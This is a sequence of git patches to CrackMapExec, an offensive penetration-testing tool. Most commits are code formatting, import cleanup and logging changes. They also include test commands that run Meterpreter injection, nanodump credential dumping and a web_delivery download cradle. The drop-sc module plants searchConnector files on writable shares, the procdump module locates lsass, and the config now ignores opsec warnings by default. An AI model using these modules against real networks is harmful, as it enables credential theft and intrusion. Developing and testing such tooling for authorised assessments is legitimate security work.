crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M empire_exec -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M mssql_priv -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M mssql_priv --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options -crackmapexec mssql TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle +# crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD -M empire_exec +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -L +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M met_inject --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M mssql_priv +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M mssql_priv --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M nanodump --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options +crackmapexec mssql TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle # a bit janky, but we try to enable RDP before testing RDP -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -M rdp -o ACTION=enable ##### RDP -crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS -crackmapexec rdp TARGET -u USERNAME -p PASSWORD KERBEROS --nla-screenshot +crackmapexec rdp TARGET_HOST -u USERNAME -p PASSWORD KERBEROS +crackmapexec rdp TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --nla-screenshot ##### SSH - Uncomment these lines to test SSH; requires the private key "test_key" in the local directory -#crackmapexec ssh TARGET -u USERNAME -p PASSWORD KERBEROS -#crackmapexec ssh TARGET -u USERNAME -p PASSWORD --key-file test_key -#crackmapexec ssh TARGET -u USERNAME --key-file test_key \ No newline at end of file +#crackmapexec ssh TARGET_HOST -u USERNAME -p PASSWORD KERBEROS +#crackmapexec ssh TARGET_HOST -u USERNAME -p PASSWORD --key-file test_key +#crackmapexec ssh TARGET_HOST -u USERNAME --key-file test_key \ No newline at end of file diff --git a/tests/e2e_test.py b/tests/e2e_test.py index 538ca68c..b94db955 100644 --- a/tests/e2e_test.py +++ b/tests/e2e_test.py @@ -54,7 +54,7 @@ def generate_commands(args): continue line = line.strip() line = ( - line.replace("TARGET", args.target) + line.replace("TARGET_HOST", args.target) .replace("USERNAME", f'"{args.username}"') .replace("PASSWORD", f'"{args.password}"') .replace("KERBEROS ", kerberos) From 90de636536baad293b94e28f05c4aa1070077c94 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:56:33 -0400 Subject: [PATCH 40/76] black format bh_owned --- cme/modules/bh_owned.py | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/cme/modules/bh_owned.py b/cme/modules/bh_owned.py index ec210856..5c378ee7 100644 --- a/cme/modules/bh_owned.py +++ b/cme/modules/bh_owned.py @@ -60,7 +60,7 @@ class CMEModule: domain = connection.domain host_fqdn = (connection.hostname + "." + domain).upper() - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) + uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}" try: driver = GraphDatabase.driver( @@ -68,27 +68,25 @@ class CMEModule: ) except AuthError as e: context.log.fail( - "Provided Neo4J credentials ({}:{}) are not valid. See --options".format( - self.neo4j_user, self.neo4j_pass - ) + f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" + " not valid. See --options" ) sys.exit() except ServiceUnavailable as e: context.log.fail( - "Neo4J does not seem to be available on {}. See --options".format(uri) + f"Neo4J does not seem to be available on {uri}. See --options" ) sys.exit() except Exception as e: context.log.fail("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) + context.log.debug(f"Error {e}: ") sys.exit() with driver.session() as session: with session.begin_transaction() as tx: result = tx.run( - 'MATCH (c:Computer {{name:"{}"}}) SET c.owned=True RETURN c.name AS name'.format( - host_fqdn - ) + f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' + " c.name AS name" ) record = result.single() try: @@ -97,12 +95,11 @@ class CMEModule: value = [] if len(value) > 0: context.log.success( - "Node {} successfully set as owned in BloodHound".format(host_fqdn) + f"Node {host_fqdn} successfully set as owned in BloodHound" ) else: context.log.fail( - "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format( - host_fqdn - ) + f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" + " imported the correct data?" ) driver.close() From 304ff907912476cabbc648bebefc8cc19ce94ce1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 7 May 2023 00:17:21 -0400 Subject: [PATCH 41/76] update bloodhound imports --- cme/modules/bh_owned.py | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) diff --git a/cme/modules/bh_owned.py b/cme/modules/bh_owned.py index 5c378ee7..ff2edd82 100644 --- a/cme/modules/bh_owned.py +++ b/cme/modules/bh_owned.py @@ -7,6 +7,8 @@ # https://en.hackndo.com [EN] import sys +from neo4j import GraphDatabase +from neo4j.exceptions import AuthError, ServiceUnavailable class CMEModule: @@ -47,32 +49,27 @@ class CMEModule: self.neo4j_pass = module_options["PASS"] def on_admin_login(self, context, connection): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - - from neo4j.exceptions import AuthError, ServiceUnavailable - if context.local_auth: domain = connection.conn.getServerDNSDomainName() else: domain = connection.domain - host_fqdn = (connection.hostname + "." + domain).upper() + host_fqdn = f"{connection.hostname}.{domain}".upper() uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}" + context.log.debug(f"Neo4j URI: {uri}") + context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}") try: driver = GraphDatabase.driver( uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False ) - except AuthError as e: + except AuthError: context.log.fail( f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options" ) sys.exit() - except ServiceUnavailable as e: + except ServiceUnavailable: context.log.fail( f"Neo4J does not seem to be available on {uri}. See --options" ) From 5a25f1c79a9e5fcb1a3d3b0c40c4e45c748fbc78 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 7 May 2023 00:37:33 -0400 Subject: [PATCH 42/76] update logging/output for drop-sc --- cme/modules/drop-sc.py | 35 ++++++++++++++++------------------- 1 file changed, 16 insertions(+), 19 deletions(-) diff --git a/cme/modules/drop-sc.py b/cme/modules/drop-sc.py index 2672f300..a92503d6 100644 --- a/cme/modules/drop-sc.py +++ b/cme/modules/drop-sc.py @@ -43,21 +43,20 @@ class CMEModule: if "FILENAME" in module_options: self.filename = str(module_options["FILENAME"]) - self.file_path = ntpath.join( - "\\", "{}.searchConnector-ms".format(self.filename) - ) + self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms") if not self.cleanup: - self.scfile_path = "/tmp/{}.searchConnector-ms".format(self.filename) + self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms" scfile = open(self.scfile_path, "w") scfile.truncate(0) scfile.write('') scfile.write( - '' + "' ) scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") - scfile.write("{}/0001.ico".format(self.url)) + scfile.write(f"{self.url}/0001.ico") scfile.write("") scfile.write( "{91475FE5-586B-4EBA-8D75-D17434B8CDF6}" @@ -72,12 +71,13 @@ class CMEModule: def on_login(self, context, connection): shares = connection.shares() for share in shares: + context.log.debug(f"Share: {share}") if "WRITE" in share["access"] and ( share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"] ): - context.log.success("Found writable share: {}".format(share["name"])) + context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: with open(self.scfile_path, "rb") as scfile: try: @@ -85,27 +85,24 @@ class CMEModule: share["name"], self.file_path, scfile.read ) context.log.success( - "Created {}.searchConnector-ms file on the {} share".format( - self.filename, share["name"] - ) + f"[OPSEC] Created {self.filename}.searchConnector-ms file on" + f" the {share['name']} share" ) except Exception as e: + context.log.exception(e) context.log.fail( - "Error writing {}.searchConnector-ms file on the {} share: {}".format( - self.filename, share["name"], e - ) + f"Error writing {self.filename}.searchConnector-ms file" + f" on the {share['name']} share: {e}" ) else: try: connection.conn.deleteFile(share["name"], self.file_path) context.log.success( - "Deleted {}.searchConnector-ms file on the {} share".format( - self.filename, share["name"] - ) + f"Deleted {self.filename}.searchConnector-ms file on the" + f" {share['name']} share" ) except Exception as e: context.log.fail( - "Error deleting {}.searchConnector-ms file on share {}: {}".format( - self.filename, share["name"], e - ) + f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on" + f" share {share['name']}: {e}" ) From c763baf6b6a1896e89a4d360a577df33005a2a0f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 7 May 2023 00:46:47 -0400 Subject: [PATCH 43/76] black format drop-sc.py --- cme/modules/drop-sc.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cme/modules/drop-sc.py b/cme/modules/drop-sc.py index a92503d6..b10f0a48 100644 --- a/cme/modules/drop-sc.py +++ b/cme/modules/drop-sc.py @@ -85,8 +85,8 @@ class CMEModule: share["name"], self.file_path, scfile.read ) context.log.success( - f"[OPSEC] Created {self.filename}.searchConnector-ms file on" - f" the {share['name']} share" + f"[OPSEC] Created {self.filename}.searchConnector-ms" + f" file on the {share['name']} share" ) except Exception as e: context.log.exception(e) @@ -103,6 +103,6 @@ class CMEModule: ) except Exception as e: context.log.fail( - f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on" - f" share {share['name']}: {e}" + f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" + f" file on share {share['name']}: {e}" ) From 677cb0c9eb46397f447e86a2f33d807219efad2a Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 7 May 2023 07:55:25 -0400 Subject: [PATCH 44/76] opsec ignore to true by default --- cme/data/cme.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/data/cme.conf b/cme/data/cme.conf index 7e156daf..d0276920 100755 --- a/cme/data/cme.conf +++ b/cme/data/cme.conf @@ -4,7 +4,7 @@ last_used_db = smb pwn3d_label = Pwn3d! audit_mode = log_mode = False -ignore_opsec = False +ignore_opsec = True [BloodHound] bh_enabled = False From af5bd859d892d50d55e28dabd971b6572786fbf8 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 7 May 2023 08:24:19 -0400 Subject: [PATCH 45/76] display output to help user to disable opsec option --- cme/crackmapexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index a939d448..d7e70782 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -214,7 +214,7 @@ def main(): else: ans = input( highlight( - "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", + "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/cme/cme.conf", "red", ) ) From 8b1abf2c8c9a1287d06597bdece727eabefe2266 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 7 May 2023 17:21:33 -0400 Subject: [PATCH 46/76] fix kerberos connection if ntlm not allowed --- cme/protocols/smb.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 962bd3dd..af268b65 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -162,6 +162,7 @@ class smb(connection): self.smb_share_name = smb_share_name self.pvkbytes = None self.no_da = None + self.no_ntlm = False connection.__init__(self, args, db, host) @@ -521,7 +522,7 @@ class smb(connection): def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - no_ntlm = False + try: self.conn.login("", "") except BrokenPipeError: @@ -529,13 +530,13 @@ class smb(connection): except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): # no ntlm supported - no_ntlm = True + self.no_ntlm = True pass self.domain = ( - self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain + self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain ) - self.hostname = self.conn.getServerName() if not no_ntlm else self.host + self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host self.server_os = self.conn.getServerOS() self.logger.extra["hostname"] = self.hostname @@ -708,7 +709,10 @@ class smb(connection): ): logging.getLogger("impacket").disabled = True # Re-connect since we logged off - fqdn_host = f"{self.hostname}.{self.domain}" + if not self.no_ntlm: + fqdn_host = f"{self.hostname}.{self.domain}" + else: + fqdn_host = f"{self.host}" self.create_conn_obj(fqdn_host) lmhash = "" nthash = "" From 13f4ebbb2bd9c73bbcf228ec591461aaf6634234 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 7 May 2023 18:39:12 -0400 Subject: [PATCH 47/76] fix(cmedb): correct variable reference --- cme/protocols/smb/db_navigator.py | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index fcdfd0f7..c891d0af 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -241,7 +241,7 @@ class navigator(DatabaseNavigator): group[1], group[2], group[3], - len(self.db.get_group_relations(group_id=group_id)), + len(self.db.get_group_relations(group_id=group[0])), group[4], group[5], ] @@ -267,14 +267,7 @@ class navigator(DatabaseNavigator): for cred in creds: data.append( - [ - cred[0], - cred[4], - cred[5], - cred[1], - cred[2], - cred[3], - ] + [cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]] ) print_table(data, title="Member(s)") @@ -653,7 +646,8 @@ class navigator(DatabaseNavigator): def do_clear_database(self, line): if ( input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + "This will destroy all data in the current database, are you SURE you" + " want to run this? (y/n): " ) == "y" ): From fcfebc21e2e7612d1d3b1f00010fdd3a8952f7f3 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sun, 7 May 2023 18:51:01 -0400 Subject: [PATCH 48/76] clean and fix imports --- cme/first_run.py | 1 - cme/modules/laps.py | 7 +- cme/modules/ldap-checker.py | 4 +- cme/modules/printnightmare.py | 20 ++---- cme/modules/procdump.py | 6 +- cme/modules/scan-network.py | 14 ++-- cme/protocols/ldap/kerberos.py | 11 ++-- cme/protocols/rdp.py | 102 ++++++++++++++++++------------ cme/protocols/smb/samrfunc.py | 11 ++-- cme/protocols/ssh.py | 11 +++- cme/protocols/ssh/db_navigator.py | 4 +- cme/protocols/winrm.py | 48 ++++++-------- 12 files changed, 130 insertions(+), 109 deletions(-) diff --git a/cme/first_run.py b/cme/first_run.py index d9b7d8b3..bb2e2821 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -import os from os import mkdir from os.path import exists from os.path import join as path_join diff --git a/cme/modules/laps.py b/cme/modules/laps.py index 96f8a8d5..6bb49735 100644 --- a/cme/modules/laps.py +++ b/cme/modules/laps.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +import json from impacket.ldap import ldapasn1 as ldapasn1_impacket @@ -60,7 +61,8 @@ class CMEModule: } if "mslaps-encryptedpassword" in values: context.log.fail( - "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." + "LAPS password is encrypted and currently CrackMapExec doesn't" + " support the decryption..." ) return @@ -73,7 +75,8 @@ class CMEModule: ) else: context.log.fail( - "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + "No result found with attribute ms-MCS-AdmPwd or" + " msLAPS-Password" ) laps_computers = sorted(laps_computers, key=lambda x: x[0]) diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index ed0337e9..94d2bb36 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- +import socket import ldap3 import ssl @@ -75,7 +76,8 @@ class CMEModule: except Exception as e: context.log.fail("\n [!] " + dcTarget + " -", str(e)) context.log.fail( - " * Ensure DNS is resolving properly, and that you can reach LDAPS on this host" + " * Ensure DNS is resolving properly, and that you can reach" + " LDAPS on this host" ) # Conduct a bind to LDAPS with channel binding supported diff --git a/cme/modules/printnightmare.py b/cme/modules/printnightmare.py index 4bbfc2ee..2861cbc4 100644 --- a/cme/modules/printnightmare.py +++ b/cme/modules/printnightmare.py @@ -2,19 +2,13 @@ # -*- coding: utf-8 -*- import sys -from impacket import system_errors, version +from impacket import system_errors from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.structure import Structure -from impacket.examples import logger -from impacket.examples.utils import parse_target from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR -from impacket.dcerpc.v5.rprn import ( - checkNullString, - STRING_HANDLE, - PBYTE_ARRAY, -) +from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s[135]"}, @@ -232,18 +226,12 @@ class DRIVER_INFO_2_ARRAY(Structure): class DRIVER_INFO_UNION(NDRUNION): commonHdr = (("tag", ULONG),) - union = { - 1: ("pNotUsed", PDRIVER_INFO_1), - 2: ("Level2", PDRIVER_INFO_2), - } + union = {1: ("pNotUsed", PDRIVER_INFO_1), 2: ("Level2", PDRIVER_INFO_2)} # MS-RPRN - 3.1.4.1.8.3 class DRIVER_CONTAINER(NDRSTRUCT): - structure = ( - ("Level", DWORD), - ("DriverInfo", DRIVER_INFO_UNION), - ) + structure = (("Level", DWORD), ("DriverInfo", DRIVER_INFO_UNION)) ################################################################################ diff --git a/cme/modules/procdump.py b/cme/modules/procdump.py index 30debbc7..9bdb2612 100644 --- a/cme/modules/procdump.py +++ b/cme/modules/procdump.py @@ -6,9 +6,13 @@ # v0.4 import base64 +import re +import sys from pypykatz.pypykatz import pypykatz +from cme.helpers.bloodhound import add_user_bh + class CMEModule: name = "procdump" @@ -69,7 +73,7 @@ class CMEModule: ) ) except Exception as e: - context.log.fail("Error writing file to share {}: {}".format(share, e)) + context.log.fail(f"Error writing file to share {self.share}: {e}") # get pid lsass command = 'tasklist /v /fo csv | findstr /i "lsass"' diff --git a/cme/modules/scan-network.py b/cme/modules/scan-network.py index 29bea54a..426c32df 100644 --- a/cme/modules/scan-network.py +++ b/cme/modules/scan-network.py @@ -2,6 +2,7 @@ # Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan # module by @mpgn_x64 +from os.path import expanduser import codecs import socket from builtins import str @@ -40,8 +41,9 @@ def get_dns_resolver(server, context): dnsresolver.nameservers = [server] except socket.error: context.info( - "Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP" - " as target host to use that server for queries" + "Using System DNS to resolve unknown entries. Make sure resolving your" + " target domain works here or specify an IP as target host to use that" + " server for queries" ) return dnsresolver @@ -137,7 +139,8 @@ class CMEModule: except ldap.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: context.log.debug( - "sizeLimitExceeded exception caught, giving up and processing the data received" + "sizeLimitExceeded exception caught, giving up and processing the" + " data received" ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries @@ -205,7 +208,7 @@ class CMEModule: ) context.log.highlight("Found %d records" % len(outdata)) - path = os.path.expanduser( + path = expanduser( "~/.cme/logs/{}_network_{}.log".format( connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S") ) @@ -225,7 +228,8 @@ class CMEModule: context.log.success("Dumped {} records to {}".format(len(outdata), path)) if not self.showall and not self.showhosts: context.log.display( - "To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format( + "To extract CIDR from the {} ip, run the following command: cat" + " your_file | mapcidr -aa -silent | mapcidr -a -silent".format( len(outdata) ) ) diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index 6d88313e..584a2d27 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -130,13 +130,10 @@ class KerberosAttacks: ).decode(), ) else: - logging.error( - "Skipping %s/%s due to incompatible e-type %d" - % ( - decodedTGS["ticket"]["sname"]["name-string"][0], - decodedTGS["ticket"]["sname"]["name-string"][1], - decodedTGS["ticket"]["enc-part"]["etype"], - ) + cme_logger.error( + "Skipping" + f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" + f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}" ) return entry diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 2cf4769f..d2426af9 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -8,7 +8,6 @@ from os import getenv from impacket.krb5.ccache import CCache from cme.connection import * from cme.helpers.bloodhound import add_user_bh -from cme.helpers.logger import highlight from cme.logger import CMEAdapter from aardwolf.connection import RDPConnection from aardwolf.commons.queuedata.constants import VIDEO_FORMAT @@ -96,7 +95,10 @@ class rdp(connection): rdp_parser.add_argument( "--no-bruteforce", action="store_true", - help="No spray when using file for username and password (user1 => password1, user2 => password2", + help=( + "No spray when using file for username and password (user1 =>" + " password1, user2 => password2" + ), ) rdp_parser.add_argument( "--continue-on-success", @@ -175,11 +177,13 @@ class rdp(connection): def print_host_info(self): if self.domain is None: self.logger.display( - f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})" + "Probably old, doesn't not support HYBRID or HYBRID_EX" + f" (nla:{self.nla})" ) else: self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})" + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})" + f" (nla:{self.nla})" ) return True @@ -340,14 +344,16 @@ class rdp(connection): "{}\\{}{} {}".format( domain, username, - # Show what was used between cleartext, nthash, aesKey and ccache - " from ccache" - if useCache - else ":%s" - % ( - kerb_pass - if not self.config.get("CME", "audit_mode") - else self.config.get("CME", "audit_mode") * 8 + ( + # Show what was used between cleartext, nthash, aesKey and ccache + " from ccache" + if useCache + else ":%s" + % ( + kerb_pass + if not self.config.get("CME", "audit_mode") + else self.config.get("CME", "audit_mode") * 8 + ) ), self.mark_pwned(), ) @@ -364,13 +370,17 @@ class rdp(connection): if word in str(e): reason = self.rdp_error_status[word] self.logger.fail( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}", - color="magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN" - ) - else "red", + ( + f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}" + ), + color=( + "magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN" + ) + else "red" + ), ) elif "Authentication failed!" in str(e): self.logger.success( @@ -386,13 +396,17 @@ class rdp(connection): if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}", - color="magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red", + ( + f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else ''}" + ), + color=( + "magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red" + ), ) return False @@ -428,13 +442,17 @@ class rdp(connection): if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( - f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}", - color="magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red", + ( + f"{domain}\\{username}:{password} {f'({reason})' if reason else ''}" + ), + color=( + "magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red" + ), ) return False @@ -473,13 +491,17 @@ class rdp(connection): reason = "User valid but cannot connect" self.logger.fail( - f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}", - color="magenta" - if ( - (reason or "CredSSP" in str(e)) - and reason != "STATUS_LOGON_FAILURE" - ) - else "red", + ( + f"{domain}\\{username}:{ntlm_hash} {f'({reason})' if reason else ''}" + ), + color=( + "magenta" + if ( + (reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE" + ) + else "red" + ), ) return False diff --git a/cme/protocols/smb/samrfunc.py b/cme/protocols/smb/samrfunc.py index b73c9da0..8ba8a910 100644 --- a/cme/protocols/smb/samrfunc.py +++ b/cme/protocols/smb/samrfunc.py @@ -5,10 +5,12 @@ # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) import logging + from impacket.dcerpc.v5 import transport, lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE - +from impacket.nmb import NetBIOSError +from impacket.smbconnection import SessionError from cme.logger import cme_logger @@ -150,10 +152,10 @@ class SAMRQuery: dce = rpc_transport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) - except impacket.nmb.NetBIOSError as e: + except NetBIOSError as e: logging.error(f"NetBIOSError on Connection: {e}") return - except impacket.smbconnection.SessionError as e: + except SessionError as e: logging.error(f"SessionError on Connection: {e}") return return dce @@ -232,6 +234,7 @@ class LSAQuery: self.__kerberos = kerberos self.dce = self.get_dce() self.policy_handle = self.get_policy_handle() + self.logger = cme_logger def get_transport(self): string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]" @@ -260,7 +263,7 @@ class LSAQuery: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) - except impacket.nmb.NetBIOSError as e: + except NetBIOSError as e: self.logger.fail(f"NetBIOSError on Connection: {e}") return None return dce diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index c975681f..7c75380c 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -2,7 +2,6 @@ # -*- coding: utf-8 -*- import logging -import sys from io import StringIO import paramiko @@ -32,12 +31,18 @@ class ssh(connection): ssh_parser.add_argument( "--no-bruteforce", action="store_true", - help="No spray when using file for username and password (user1 => password1, user2 => password2", + help=( + "No spray when using file for username and password (user1 =>" + " password1, user2 => password2" + ), ) ssh_parser.add_argument( "--key-file", type=str, - help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.", + help=( + "Authenticate using the specified private key. Treats the password" + " parameter as the key's passphrase." + ), ) ssh_parser.add_argument( "--port", type=int, default=22, help="SSH port (default: 22)" diff --git a/cme/protocols/ssh/db_navigator.py b/cme/protocols/ssh/db_navigator.py index de543809..1bcfd765 100644 --- a/cme/protocols/ssh/db_navigator.py +++ b/cme/protocols/ssh/db_navigator.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -from cme.helpers.misc import validate_ntlm from cme.cmedb import DatabaseNavigator, print_table, print_help @@ -310,7 +309,8 @@ class navigator(DatabaseNavigator): def do_clear_database(self, line): if ( input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + "This will destroy all data in the current database, are you SURE you" + " want to run this? (y/n): " ) == "y" ): diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 26a1c8e5..947808db 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -5,28 +5,15 @@ import hashlib from datetime import datetime import os import requests -from 